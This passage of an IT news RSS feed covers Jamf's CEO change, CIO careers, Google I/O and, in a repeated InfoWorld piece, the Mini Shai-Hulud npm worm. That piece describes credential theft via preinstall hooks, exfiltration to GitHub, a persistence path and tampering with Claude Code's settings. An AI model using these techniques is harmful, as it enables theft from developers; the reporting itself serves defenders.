Jamf-using IT pros should be pleased. Tschida is an engineer who joined the company in 2018 as senior vice pre...]]></description>
<link>https://tsecurity.de/de/3533732/it-nachrichten/beth-tschida-takes-over-at-jamf-as-ai-transforms-apple-in-the-enterprise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533732/it-nachrichten/beth-tschida-takes-over-at-jamf-as-ai-transforms-apple-in-the-enterprise/</guid>
<pubDate>Wed, 20 May 2026 18:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Jamf has a new CEO: former CTO Beth Tschida. She succeeds previous <a href="https://www.computerworld.com/article/1638739/new-jamf-ceo-john-strosahl-on-apple-in-the-enterprise-jamfs-future.html">CEO John Strosahl</a>, who himself <a href="https://www.applemust.com/jamf-ceo-dean-hager-announces-retirement-transition-plan/" target="_blank" rel="noreferrer noopener">replaced Dean Hager on his retirement</a>. Tschida has served as interim CEO since March.</p>



<p>Jamf-using IT pros should be pleased. Tschida is an engineer who joined the company in 2018 as senior vice president, engineering and became CTO four years later. She has led the <a href="https://www.computerworld.com/article/4153833/jamf-warns-of-massive-app-insecurities.html">company’s expansion into security</a> as well as its ongoing mission in device management. She takes the helm as device management, and IT more generally, struggle with the potential and the peril of artificial intelligence deployment across industry.</p>



<h2 class="wp-block-heading"><strong>‘We are making AI work on Apple’</strong></h2>



<p>“Over the last eight years, I’ve had the privilege of working with an exceptional team to build the leading platform for managing and securing Apple at work,” said Tschida in a statement. “Now, AI is reshaping how organizations work, and we are making AI work on Apple. We’re building autonomous management so devices manage themselves within boundaries, opening our platform so others can build AI tools directly with Jamf, and delivering the governance layer to deploy AI confidently. Everything we’re doing is built on the trust we’ve earned over two decades of making Apple simple, secure, and connected at scale. I’m energized by what’s ahead.”</p>



<h2 class="wp-block-heading"><strong>Challenges and opportunities</strong></h2>



<p>Following its <a href="https://www.applemust.com/jamf-agrees-to-2-2-billion-purchase-by-francisco-partners/" target="_blank" rel="noreferrer noopener">acquisition by Francisco Partners</a>, Jamf is no longer a public company, but it faces a fresh set of challenges as it enters its 25th year of existence. The Apple ecosystem it is built around has utterly transformed, with Macs, iPhones, and iPads acting as peer players in enterprise IT.</p>



<p>The company’s specialized Apple-focused model faces fresh challenges from other more multipolar IT device management vendors, even while the scale of opportunity for Apple in the enterprise continues to grow. There are more Macs used in business today than ever before, the success of MacBook Neo has only boosted that fact, and the number of companies seeking MDM and security support across Apple’s platform continues to grow.</p>



<p>In fact, Apple recently entered the ring with its own very much expanded Apple Business product; as Hager said <a href="https://www.computerworld.com/article/1615964/jamf-ceo-welcomes-apple-business-essentials.html">when that service originally launched</a>, “When Apple innovates, Jamf celebrates,” arguing that Apple effectively grew its presence in enterprise IT — creating more opportunity for vendors such as Jamf – by doing so.</p>



<h2 class="wp-block-heading"><strong>Regulation, security and control</strong></h2>



<p>Brian Decker, partner and co-Chief Investment Officer at Francisco Partners, certainly sees opportunity in the Apple-in-the-enterprise space. “We look forward to working with Beth as she builds on what this team has built and goes after the opportunity ahead in Apple enterprise management and security,” he said in a statement.</p>



<p>News of the promotion comes in the sleepy prelude to what may be Apple’s most important WWDC yet for enterprise professionals. Many business users have been somewhat reluctant to fully embrace AI services in their work and will be very curious to find out if Apple has figured out some way to support the conveniences of such services while retaining the data privacy regulators demand.</p>



<p>That’s certainly a need Tschida recognizes. When she discussed Jamf’s FedRAMP partnership with UberEther late last year, <a href="https://www.businesswire.com/news/home/20251202059536/en/Jamf-Partners-With-UberEther-to-Accelerate-FedRAMP-High-and-DoD-IL5-Authorization" target="_blank" rel="noreferrer noopener">she said the goal</a> was to “bring secure, Apple-first management and security solutions to highly regulated environments.” </p>



<h2 class="wp-block-heading"><strong>Getting ahead of AI adoption with Jamf</strong></h2>



<p>Jamf, of course, sees plenty of opportunities that can be unleashed by Ai, and it seems is ready to ramp up its offerings. It’s not a new initiative, as the company has been weaving AI into its own ecosystem for some time; indeed, as CTO, Tschida introduced Jamf AI Assistant in 2024, which she called a “game changer for Apple device management and security.” </p>



<p>The company also recently introduced a beta version of its own AI tool for <a href="https://www.applemust.com/jamf-offers-you-a-little-more-protection/" target="_blank" rel="noreferrer noopener">executive threat detection</a>, designed to detect sophisticated attacks targeting high-value users. This trajectory makes it very unlikely the company will slow down its exploration of how AI can improve the world of Apple enterprise IT, while also protecting against shadow AI.</p>



<p>As Tschida told me today: “98% of organizations have employees using AI tools their IT team never sanctioned. That number is not going down. The organizations that figure out how to govern AI adoption on Apple, rather than just react to it, will have a real advantage. That is exactly what we are building at Jamf.”</p>



<p><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  </em><em><a href="https://www.linkedin.com/in/jonnyevans/"><em>LinkedIn</em></a></em><em>, and <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA['The entire season meant nothing': The Boys viewers react with dismay and disbelief to the popular Prime Video show's 'absolutely trash' series finale]]></title>
<description><![CDATA[The Boys' last-ever episode has drawn overwhelmingly negative reactions from its online community.]]></description>
<link>https://tsecurity.de/de/3533551/it-nachrichten/the-entire-season-meant-nothing-the-boys-viewers-react-with-dismay-and-disbelief-to-the-popular-prime-video-shows-absolutely-trash-series-finale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3533551/it-nachrichten/the-entire-season-meant-nothing-the-boys-viewers-react-with-dismay-and-disbelief-to-the-popular-prime-video-shows-absolutely-trash-series-finale/</guid>
<pubDate>Wed, 20 May 2026 17:17:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Boys' last-ever episode has drawn overwhelmingly negative reactions from its online community.]]></content:encoded>
</item>
<item>
<title><![CDATA[6 ways CIOs should diversify leadership skills]]></title>
<description><![CDATA[Doing a great job in your current role is table stakes for modern CIOs. The most successful digital leaders embrace new challenges in situ and in fresh working environments, and with research reporting the average tenure for any digital leadership role to be about five years, the ability to move ...]]></description>
<link>https://tsecurity.de/de/3532503/it-security-nachrichten/6-ways-cios-should-diversify-leadership-skills/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3532503/it-security-nachrichten/6-ways-cios-should-diversify-leadership-skills/</guid>
<pubDate>Wed, 20 May 2026 12:08:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Doing a great job in your current role is table stakes for modern CIOs. The most successful digital leaders embrace new challenges in situ and in fresh working environments, and with research reporting the <a href="https://www.cio.com/article/252537/careers-staffing-a-strong-job-market-for-cios.html">average tenure for any digital leadership role</a> to be about five years, the ability to move seamlessly into new opportunities has never been more crucial.</p>



<p>Evidence also suggests that CIOs who think outside the box and move between positions, employers, and industries better develop their leadership skills and produce benefits for their teams, businesses, and end customers. From generating novel solutions to embracing different cultures, here are examples from six specific industries on how broad experiences help diversify CIO leadership skills.</p>



<h2 class="wp-block-heading">1. Formula One: focusing on teamwork produces novel solutions</h2>



<p>Dan Keyworth, executive director, performance technology and systems at McLaren Racing, says leading technology in the fast-paced world of Formula One has fostered new skills.</p>



<p>“Being in a high-octane environment, you learn how the tools you provide to people make a material difference,” he says. “In some organizations where operations are a little slower, people don’t understand the tangible impact technology has.”</p>



<p>Keyworth says success in F1 is about using data to find a competitive edge. Having spent nine years with technology specialist Fujitsu, he joined McLaren in 2017. And during his time in motor racing, McLaren has continued to improve on the track, culminating in last season’s successes, where the team won the Constructors’ Championship and Lando Norris won his first driver’s title.</p>



<p>“That’s been an incredible journey for me, because as we’ve gone up the pecking order, I’ve realized how critical our technology is, and where there are opportunities to evolve and develop,” he says.</p>



<p>Keyworth says the other skill he’s developed in F1 is <a href="https://www.cio.com/article/4111281/from-integration-pain-to-partnership-gain-how-collaboration-strengthens-cybersecurity.html?utm=hybrid_search">collaboration</a>. “I think many organizations can be quite hierarchical, and you don’t find that in a Formula One team,” he says. “We’re in a room trying to solve problems, so ranks are removed and we go after challenges together. That approach has taught me a lot about human connection and leadership. Success is about creating a flat structure, getting around the problem, and getting stuck into something, no matter what the rank.”</p>



<h2 class="wp-block-heading">2. Recruitment: welcoming change develops new leadership skills</h2>



<p>Ankur Anand, group CIO at technology and talent solutions provider Nash Squared, joined in June 2023, after nearly six years at Manpower Group, where he rose to regional CIO and head of transformation for Europe. Before this role, he spent 15 years in senior technology positions at financial services giant Citi.</p>



<p>“The depth of experience I got from those experiences was enormous,” he says. “I felt I could take that knowledge into a mid-size organization with a huge appetite to grow. I wanted to create an impact based on all the learnings from my career.”</p>



<p>In his three years with Nash Squared, Anand has focused on creating a single view of customer data, <a href="https://www.cio.com/article/1249347/8-change-management-questions-every-it-leader-must-answer.html?utm=hybrid_search">establishing change management processes</a>, and embracing emerging technology. Moving between organizations prepared him for the transformation he oversees.</p>



<p>“People can underestimate their ability to transition into change and required behavior in terms of how you react, manage people, and work with stakeholders,” he says. “It’s an enormous but positive change because you start adapting to different operating models and developing different leadership styles. What works in one environment with one business doesn’t necessarily work in another.”</p>



<h2 class="wp-block-heading">3. Content services: being adaptable marks you out for success</h2>



<p>Joel Hron, CTO at global content and technology specialist Thomson Reuters, was previously CTO at tech startup ThoughtTrace, which Thomson Reuters acquired in 2022. Hron joined the firm as part of the acquisition process.</p>



<p>“This role was a chance to lead a global team of 5,000 and shift the mindset into a more agile, entrepreneurial one,” he says. “To move an organization of that scale and size culturally was also something I saw as a challenge and a great opportunity.”</p>



<p>Taking on a fresh challenge is nothing new to Hron. After initially aiming to work in education, he attended graduate school, but was drawn to real-world research and development, particularly programming, modelling, and forecasting in the petroleum industry. After his stint in the startup sector, he says switching to Thomson Reuters honed his adaptability.</p>



<p>“I think that mindset has been forced into me over time because of the variety of roles I’ve had,” he adds. “All the small things I’ve learned come together to build the intuition I have today. When people ask me what should I do next, I tell them just be opportunistic, say yes more than you say no. If you trust yourself and feel it’s not the right thing, you can do something else. But say yes and give yourself the chance to learn something new and like something you didn’t expect.”</p>



<h2 class="wp-block-heading">4. Property: pulling different levers hones capabilities</h2>



<p>Richard Corbridge, CIO at property specialist Segro, says <a href="https://www.cio.com/article/4117094/data-management-trends-whats-in-whats-out.html?utm=hybrid_search">the current emphasis on AI and data</a> means the digital leadership role is having a renaissance. “People seem to have landed back on the fact that the CIO is the executive chef in the kitchen,” he says. “I think that gives us a good opportunity to shine.”</p>



<p>One crucial factor in this renaissance, he adds, is the consumerization of technology fostered through mobility, the cloud, and now gen AI, which means LOB colleagues are as eager to learn about technology as their IT peers. From now on, digital leaders will be expected to source great ideas from across the organization.</p>



<p>“CIO is a more social role than 10 years ago,” he says. “You need to be in your business, not aside or on top of it. That positioning means a CIO who’s going from industry to industry is going to pick up knowledge of different demands.”</p>



<p>Rather than being experts within their own domain, successful CIOs are members of the senior leadership team that drives <a href="https://www.cio.com/article/4154263/10-ways-to-accelerate-digital-transformation-2.html?utm=hybrid_search">business transformation</a>. Corbridge says his own broad experiences, including leading IT for the NHS, high-street retailer Boots, and the UK government’s Department for Work and Pensions, have helped him develop as a CIO.</p>



<p>“It’s been enjoyable taking big healthcare project experience to the private sector to see what levers I can pull differently,” he says.</p>



<h2 class="wp-block-heading">5. Technology: embracing new cultures creates energy</h2>



<p>Nick Pearson joined Ricoh Europe as CIO in 2023, after being head of IT platform at Vodafone. He’s also held senior tech roles at RS Group and PepsiCo, eventually becoming UK IT director. He says moving sectors helps leaders diversify skills, particularly when embracing new cultures.</p>



<p>“This is the first Japanese company I’ve worked for,” he says. “While it’s a loosely federated business, there’s a culture of Kaizen and continuous improvement. That’s a different approach to Vodafone, where people were focused on achieving 10 times the impact, productivity, or growth of projects.”</p>



<p>Pearson says one of the things he’s learned at Ricoh is that risk appetites can vary across cultures. “There’s a lot more rigor in project tracking and statuses in a Japanese firm than you’d expect in a Western company,” he says. “The approach is data-rich: the more information the better. In a US-style company, the board often just wants to know if a project is on track, and the rest of the deliverables are your concern. It’s super-energizing, and I’ve gained knowledge by experiencing different cultures.”</p>



<p>Pearson says being a CIO in the technology sector has also helped him appreciate the importance of product portfolio management skills. “In an IT services company, where the technology is changing so often, success means thinking about how you continually evolve your portfolio without cannibalizing your star product,” he says.</p>



<h2 class="wp-block-heading">6. Travel: moving between domains keeps you sharp</h2>



<p>Huy Dao, director of data and machine learning platform at travel specialist Booking.com, has spent the recent part of his career helping tech-focused companies like Zwift, Zillow, and now Booking exploit their data assets. Earlier in his career, he worked for one of the world’s biggest technology companies.</p>



<p>“I spent 18 years at Microsoft where we were primarily providing tech solutions, such as Office,” he says. “What’s interesting for me now is I get to learn about a new business domain, and that keeps me on my toes.”</p>



<p>As part of a central group that provides data and ML capabilities to Booking, Dao ensures his team has the right tools to complete their work. He also helps employees build and operate highly governed, high-quality data-enabled products.</p>



<p>“My role centers on how technology is applied to travel. I aim to understand how the business works, how our customers feel, and how our partner relationships are going,” he says. “The industry is very interesting, and that keeps me motivated to learn and contribute every day.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open-source Hermes bytecode decompiler for React Native apps (Rust)]]></title>
<description><![CDATA[submitted by    /u/raaaaapl   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3531281/reverse-engineering/open-source-hermes-bytecode-decompiler-for-react-native-apps-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531281/reverse-engineering/open-source-hermes-bytecode-decompiler-for-react-native-apps-rust/</guid>
<pubDate>Wed, 20 May 2026 04:07:53 +0200</pubDate>
<category>🕵️ Reverse Engineering</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/raaaaapl"> /u/raaaaapl </a> <br> <span><a href="https://github.com/SymbioticSec/hermes-decomp">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1thj3mw/opensource_hermes_bytecode_decompiler_for_react/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Did Google Just Change Everything? Tech Experts React to Google I/O 2026 video]]></title>
<description><![CDATA[Google's opening keynote at its I/O 2026 developer conference just wrapped, and we're breaking down the absolute biggest announcements. Join our expert panel, featuring Andrew Lanxon (CNET), Andrew Gebhart (PCMag) and Timothy Beck Werth (Mashable), as they analyze everything you need to know abou...]]></description>
<link>https://tsecurity.de/de/3531045/it-nachrichten/did-google-just-change-everything-tech-experts-react-to-google-io-2026-video/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531045/it-nachrichten/did-google-just-change-everything-tech-experts-react-to-google-io-2026-video/</guid>
<pubDate>Wed, 20 May 2026 00:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google's opening keynote at its I/O 2026 developer conference just wrapped, and we're breaking down the absolute biggest announcements. Join our expert panel, featuring Andrew Lanxon (CNET), Andrew Gebhart (PCMag) and Timothy Beck Werth (Mashable), as they analyze everything you need to know about the next generation of Google Gemini, the highly anticipated Android XR Glasses and more.]]></content:encoded>
</item>
<item>
<title><![CDATA[We react to Google I/O 2026]]></title>
<description><![CDATA[What better way to unwind from a two-hour-long keynote presentation than to pour over the weirdest and wildest details, from a Gmail bot you can converse with to DeepMind's leader saying the singularity is near. The Vergecast went live right after the show, with Senior AI Reporter Hayden Field jo...]]></description>
<link>https://tsecurity.de/de/3530965/it-nachrichten/we-react-to-google-io-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530965/it-nachrichten/we-react-to-google-io-2026/</guid>
<pubDate>Wed, 20 May 2026 00:02:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What better way to unwind from a two-hour-long keynote presentation than to pour over the weirdest and wildest details, from a Gmail bot you can converse with to DeepMind's leader saying the singularity is near. The Vergecast went live right after the show, with Senior AI Reporter Hayden Field joining me to discuss the highlights. […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Mini Shai-Hulud: Kompromittierte @antv-npm-Accounts pushen Credential-Stealer]]></title>
<description><![CDATA[ZÜRICH / LONDON (IT BOLTWISE) – Neue Erkenntnisse zeigen, wie eine kompromittierte npm-Publisher-Identität im @antv-Umfeld massenhaft manipulierte Pakete verteilt. Die Angreifer nutzen automatisierte Publish-Bursts, injecten Code über preinstall Hooks und stehlen dabei breit Zugangsdaten aus Clou...]]></description>
<link>https://tsecurity.de/de/3530683/it-security-nachrichten/mini-shai-hulud-kompromittierte-antv-npm-accounts-pushen-credential-stealer/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530683/it-security-nachrichten/mini-shai-hulud-kompromittierte-antv-npm-accounts-pushen-credential-stealer/</guid>
<pubDate>Tue, 19 May 2026 22:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/05/mini-shai-hulud-antv-npm-credential-stealer-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">ZÜRICH / LONDON (IT BOLTWISE) – Neue Erkenntnisse zeigen, wie eine kompromittierte npm-Publisher-Identität im @antv-Umfeld massenhaft manipulierte Pakete verteilt. Die Angreifer nutzen automatisierte Publish-Bursts, injecten Code über preinstall Hooks und stehlen dabei breit Zugangsdaten aus Cloud- und DevOps-Umgebungen. Besonders kritisch: Viele betroffene Abhängigkeiten sind in Datenvisualisierung und React-Komponenten etabliert und werden oft automatisch aktualisiert. Damit […]</p>
<div><a href="https://www.it-boltwise.de/mini-shai-hulud-kompromittierte-antv-npm-accounts-pushen-credential-stealer.html">... den vollständigen Artikel <strong>»Mini Shai-Hulud: Kompromittierte @antv-npm-Accounts pushen Credential-Stealer«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/mini-shai-hulud-kompromittierte-antv-npm-accounts-pushen-credential-stealer.html">Mini Shai-Hulud: Kompromittierte @antv-npm-Accounts pushen Credential-Stealer</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AntV data visualization tool the latest to be hit by ongoing npm supply chain attacks]]></title>
<description><![CDATA[The world’s largest open-source registry, node package manager (npm), has been hit by another fast-moving malware attack, this time targeting the widely-used AntV enterprise data visualization tool.



Unlike last week’s high-profile npm attack on TanStack, which exploited a complex GitHub Action...]]></description>
<link>https://tsecurity.de/de/3530597/it-security-nachrichten/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530597/it-security-nachrichten/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks/</guid>
<pubDate>Tue, 19 May 2026 21:38:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The world’s largest open-source registry, node package manager (npm), has been hit by another fast-moving malware attack, this time targeting the widely-used AntV enterprise data visualization tool.</p>



<p>Unlike last week’s high-profile npm attack <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html" target="_blank">on TanStack</a>, which exploited a complex GitHub Actions cache poisoning weakness, the latest incident early on May 19 took the more conventional route of compromising the credentials of a high-value npm maintainer account.</p>



<p>According to analysis <a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/" target="_blank" rel="noreferrer noopener">by SafeDep</a>, the account in question, atool (i@hust.cc), which publishes the timeago.js JavaScript library, had rights to a large catalog of packages, including popular tools such as size-sensor (4.2 million downloads per month), echarts-for-react (3.8 million), @antv/scale (2.2 million), and timeago.js (1.15 million).</p>



<p>This privilege level allowed the attacker to publish at least 637 malicious versions across 317 different npm packages in a single 22-minute burst. This resulted in the compromise of a big chunk of Alibaba’s AntV namespace, a growing platform across Asia, the US, and Europe used to build dashboards, user interfaces, and interactive applications.</p>



<p>Attacks on the npm supply chain this year plot a challenging trend, <a href="https://www.aikido.dev/blog/mini-shai-hulud-antv-npm-supply-chain-attack" target="_blank" rel="noreferrer noopener">said Aikido Security</a> in its analysis. “This is the third major wave we have tracked. It went from a handful of SAP packages in April, to 169 packages in the TanStack wave, to a much larger set of packages now. Each wave has been faster and broader than the last.”</p>



<h2 class="wp-block-heading">“Here We Go Again”</h2>



<p>Anyone unlucky enough to be infected by one of the malicious packages will find themselves on the receiving end of the potent <a href="https://www.akamai.com/blog/security-research/mini-shai-hulud-worm-returns-goes-public" target="_blank" rel="noreferrer noopener">Mini-Shai-Hulud worm</a>, the source code for which was recently briefly released to other criminals on GitHub.</p>



<p>Its purpose is to steal npm and GitHub tokens, as well as credentials from 130 file paths, including multiple cloud platforms, Kubernetes, Docker, Hashicorp, password vaults, SSH keys, and Bitcoin wallets.</p>



<p>For unknown reasons, the attackers then use stolen CI/CD tokens to store exfiltrated data in public GitHub repositories themed on the science fiction novel <em>Dune</em>, which, within hours of this attack, grew to 2,500 in number. Each repository description contains the string “niagA oG eW ereH :duluH-iahS” (“Shai-Hulud: Here We Go Again” backwards).</p>



<p>In theory, the malware is also capable of persistence via a Python-based backdoor installed at <em>~/.local/share/kitty/cat.py</em>, although <a href="https://www.wiz.io/blog/mini-shai-hulud-teampcp-hits-antv-supply-chain" target="_blank" rel="noreferrer noopener">according to</a> security company Wiz, this function doesn’t yet seem to be active.</p>



<p>The group behind the campaign, TeamPCP, doesn’t lack for ambition: the malware even tries <a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/#:~:text=codeql.yml.-,The,effect." target="_blank" rel="noreferrer noopener">to modify Claude Code’s <em>settings.json</em></a>, which allows the malware to be stealthily reinstated with full LLM privileges in case the infected npm packages have been removed.</p>



<h2 class="wp-block-heading">Next steps</h2>



<p>After the attack was detected, AntV’s maintainers issued the following <a href="https://github.com/antvis" target="_blank" rel="noreferrer noopener">warning on GitHub</a>:</p>



<p>“Due to the impact of an external worm attack, AntV-related npm packages have been compromised. The infected packages have been deleted, while the remaining ones have been marked as deprecated,” it read. “Users are advised to carefully identify and download the latest versions. AntV is actively contacting the npm registry to have the deprecated packages removed.”</p>



<p>In other words, while malicious versions have been deleted, remaining packages should be treated with extreme caution, providing an incentive for developers to audit and move to known safe versions.</p>



<p>Because the attack infected multiple versions of the same library, establishing a known safe version will be perilous. Developers can consult a list of compromised packages (<a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/#:~:text=Full%20List%20of%20Compromised%20Packages,-317" target="_blank" rel="noreferrer noopener">published by SafeDep</a> as a .csv), although it’s safe to assume that if any version of the AntV library is in use, infection is a possibility.</p>



<p>Beyond that, recommended actions are to look for signs of compromise in CI/CD environments and repositories, and to rotate all credentials.</p>



<p>But the most important advice from experts is much simpler: strengthen defenses against future attacks targeting npm by improving monitoring and package verification.</p>



<p><em>This article originally appeared on <a href="https://www.infoworld.com/article/4173277/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks.html" target="_blank">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AntV data visualization tool the latest to be hit by ongoing npm supply chain attacks]]></title>
<description><![CDATA[The world’s largest open-source registry, node package manager (npm), has been hit by another fast-moving malware attack, this time targeting the widely-used AntV enterprise data visualization tool.



Unlike last week’s high-profile npm attack on TanStack, which exploited a complex GitHub Action...]]></description>
<link>https://tsecurity.de/de/3530595/ai-nachrichten/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3530595/ai-nachrichten/antv-data-visualization-tool-the-latest-to-be-hit-by-ongoing-npm-supply-chain-attacks/</guid>
<pubDate>Tue, 19 May 2026 21:33:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The world’s largest open-source registry, node package manager (npm), has been hit by another fast-moving malware attack, this time targeting the widely-used AntV enterprise data visualization tool.</p>



<p>Unlike last week’s high-profile npm attack <a href="https://www.csoonline.com/article/4170284/mistral-ai-sdk-tanstack-router-hit-in-npm-software-supply-chain-attack.html" target="_blank">on TanStack</a>, which exploited a complex GitHub Actions cache poisoning weakness, the latest incident early on May 19 took the more conventional route of compromising the credentials of a high-value npm maintainer account.</p>



<p>According to analysis <a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/" target="_blank" rel="noreferrer noopener">by SafeDep</a>, the account in question, atool (i@hust.cc), which publishes the timeago.js JavaScript library, had rights to a large catalog of packages, including popular tools such as size-sensor (4.2 million downloads per month), echarts-for-react (3.8 million), @antv/scale (2.2 million), and timeago.js (1.15 million).</p>



<p>This privilege level allowed the attacker to publish at least 637 malicious versions across 317 different npm packages in a single 22-minute burst. This resulted in the compromise of a big chunk of Alibaba’s AntV namespace, a growing platform across Asia, the US, and Europe used to build dashboards, user interfaces, and interactive applications.</p>



<p>Attacks on the npm supply chain this year plot a challenging trend, <a href="https://www.aikido.dev/blog/mini-shai-hulud-antv-npm-supply-chain-attack" target="_blank" rel="noreferrer noopener">said Aikido Security</a> in its analysis. “This is the third major wave we have tracked. It went from a handful of SAP packages in April, to 169 packages in the TanStack wave, to a much larger set of packages now. Each wave has been faster and broader than the last.”</p>



<h2 class="wp-block-heading">“Here We Go Again”</h2>



<p>Anyone unlucky enough to be infected by one of the malicious packages will find themselves on the receiving end of the potent <a href="https://www.akamai.com/blog/security-research/mini-shai-hulud-worm-returns-goes-public" target="_blank" rel="noreferrer noopener">Mini-Shai-Hulud worm</a>, the source code for which was recently briefly released to other criminals on GitHub.</p>



<p>Its purpose is to steal npm and GitHub tokens, as well as credentials from 130 file paths, including multiple cloud platforms, Kubernetes, Docker, Hashicorp, password vaults, SSH keys, and Bitcoin wallets.</p>



<p>For unknown reasons, the attackers then use stolen CI/CD tokens to store exfiltrated data in public GitHub repositories themed on the science fiction novel <em>Dune</em>, which, within hours of this attack, grew to 2,500 in number. Each repository description contains the string “niagA oG eW ereH :duluH-iahS” (“Shai-Hulud: Here We Go Again” backwards).</p>



<p>In theory, the malware is also capable of persistence via a Python-based backdoor installed at <em>~/.local/share/kitty/cat.py</em>, although <a href="https://www.wiz.io/blog/mini-shai-hulud-teampcp-hits-antv-supply-chain" target="_blank" rel="noreferrer noopener">according to</a> security company Wiz, this function doesn’t yet seem to be active.</p>



<p>The group behind the campaign, TeamPCP, doesn’t lack for ambition: the malware even tries <a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/#:~:text=codeql.yml.-,The,effect." target="_blank" rel="noreferrer noopener">to modify Claude Code’s <em>settings.json</em></a>, which allows the malware to be stealthily reinstated with full LLM privileges in case the infected npm packages have been removed.</p>



<h2 class="wp-block-heading">Next steps</h2>



<p>After the attack was detected, AntV’s maintainers issued the following <a href="https://github.com/antvis" target="_blank" rel="noreferrer noopener">warning on GitHub</a>:</p>



<p>“Due to the impact of an external worm attack, AntV-related npm packages have been compromised. The infected packages have been deleted, while the remaining ones have been marked as deprecated,” it read. “Users are advised to carefully identify and download the latest versions. AntV is actively contacting the npm registry to have the deprecated packages removed.”</p>



<p>In other words, while malicious versions have been deleted, remaining packages should be treated with extreme caution, providing an incentive for developers to audit and move to known safe versions.</p>



<p>Because the attack infected multiple versions of the same library, establishing a known safe version will be perilous. Developers can consult a list of compromised packages (<a href="https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/#:~:text=Full%20List%20of%20Compromised%20Packages,-317" target="_blank" rel="noreferrer noopener">published by SafeDep</a> as a .csv), although it’s safe to assume that if any version of the AntV library is in use, infection is a possibility.</p>



